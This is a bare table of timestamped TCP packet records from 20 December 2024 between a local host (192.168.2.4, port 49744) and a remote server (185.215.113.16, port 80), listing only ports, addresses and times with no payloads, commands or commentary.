Dec 20, 2024 17:10:56.975581884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.976520061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.976572990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.976643085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.977546930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.977612972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.977648973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.978774071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.978828907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.978837013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.979799032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.979849100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.979899883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.981106043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.981163025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.981204033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.982125044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.982212067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.982217073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.983228922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.983441114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.983443975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.984498024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.984585047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.984592915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.985555887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.985650063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.985660076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.986666918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.986718893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.986818075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.987822056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.987914085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.987953901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.989011049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.989058018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.989089012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.990103960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.990153074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.990195990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.991255999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.991311073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.991414070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.992563009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.992613077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.992615938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.993506908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.993597984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.993613958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.994662046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.994709969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.994796038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.995805979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.995893955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.995935917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.997006893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.997051001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.997133017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.998087883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.998178959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.998217106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.999284983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.999337912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.999428034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.000390053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.000560045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.000612974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.001508951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.001557112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.001590014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.002681017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.002722025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.002886057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.003819942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.003854990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.003911972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.004970074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.005006075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.005062103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.006097078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.006139040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.006187916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.007196903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.007258892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.007283926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.008362055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.008474112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.008522034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.009501934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.009547949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.009583950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.010631084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.010741949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.010761023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.011228085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.011822939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.011878014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.011908054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.012926102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.013547897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.047497988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.131215096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.131263971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.131306887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.131444931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.131573915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.131612062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.132648945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.132764101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.132807016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.133873940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.134063005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.134191990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.135188103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.135514021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.135554075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.135994911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.136080027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.137132883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.137173891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.137260914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.137300968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.138231039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.153094053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.153145075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.153214931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.153879881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.153968096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.154026031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.154750109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.154798985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.154880047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.155858040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.155946970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.155973911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.157018900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.157115936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.157166958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.158188105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.158370972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.158415079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.159290075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.159337044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.159384966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.160432100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.160522938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.160583019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.161623001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.161664009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.161693096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.162802935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.162846088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.162869930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.163836002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.163880110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.163908958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.164995909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.165102959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.165106058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.166182995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.166234016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.166337013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.167310953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.167407990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.167412996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.168420076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.168524981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.168569088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.169579983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.169676065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.169712067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.170713902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.170762062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.170818090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.171886921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.171941042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.171977997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.173006058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.173046112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.173068047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.174118042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.174165964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.174211025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.175326109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.175369978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.175420046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.176466942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.176512957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.176522970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.177551031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.177619934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.177643061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.178678989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.178720951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.178778887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.179884911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.179904938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.179945946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.181437016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.181485891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.181646109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.182120085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.182172060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.182188034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.183281898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.183374882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.183403015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.184545040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.184587002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.184645891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.185564995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.185674906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.185679913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.186693907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.186784029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.186822891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.187835932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.187937021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.187957048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.188972950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.189014912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.189080000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.190146923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.190196991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.190196991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.191289902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.191334963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.191369057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.191874027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.192444086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.192496061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.192676067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.193558931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.193649054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.193689108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.194689035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.194735050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.194876909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.195940018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.195965052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.195990086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.197036028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.197089911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.197208881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.198116064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.198195934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.198237896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.199256897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.199299097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.199357986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.200381041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.200418949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.200527906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.201558113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.201601028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.201803923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.202708960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.202848911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.202902079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.203676939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.203875065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.203926086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.204080105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.204977036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.205548048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.241154909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.323528051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.323574066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.323627949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.324008942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.324521065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.324615002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.325153112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.325179100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.325228930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.326392889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.326474905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.326608896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.327522039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.327548981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.327631950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.328603983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.328839064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.328882933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.329721928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.329926014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.329969883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.345628977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.345757961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.345824957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.345990896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.346087933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.347146988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.347197056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.347261906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.347306013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.348169088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.348365068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.348419905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.349272013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.349455118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.349497080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.350486994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.350584984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.350626945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.351588964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.351771116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.352735043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.352735996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.352813959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.352941990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.355048895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.355163097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.355178118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.355218887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.355384111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.355427027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.356183052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.356328964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.357115984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.357441902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.357531071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.357592106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.358455896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.358640909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.358681917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.359608889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.359957933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.360109091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.360791922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.360807896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.360842943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.361813068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.361922026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.361960888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.362970114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.363068104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.363169909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.364129066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.364351034 CET	80	49744	185.215.113.16	192.168.2.4
